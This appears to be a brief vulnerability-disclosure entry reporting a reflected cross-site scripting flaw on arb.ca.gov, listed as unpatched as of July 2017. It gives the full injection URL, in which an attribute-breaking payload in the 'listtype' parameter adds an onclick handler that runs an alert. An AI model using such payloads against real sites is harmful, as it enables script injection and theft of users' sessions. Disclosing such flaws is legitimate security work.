arb.ca.gov XSS vulnerability

Vulnerable URL: https://www.arb.ca.gov/listserv/listservgrp.php?listtype=" accesskey="X" onclick="alertString.fromCharCode79, 80, 69, 78, 66, 85, 71, 66, 79, 85, 78, 84, 89" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...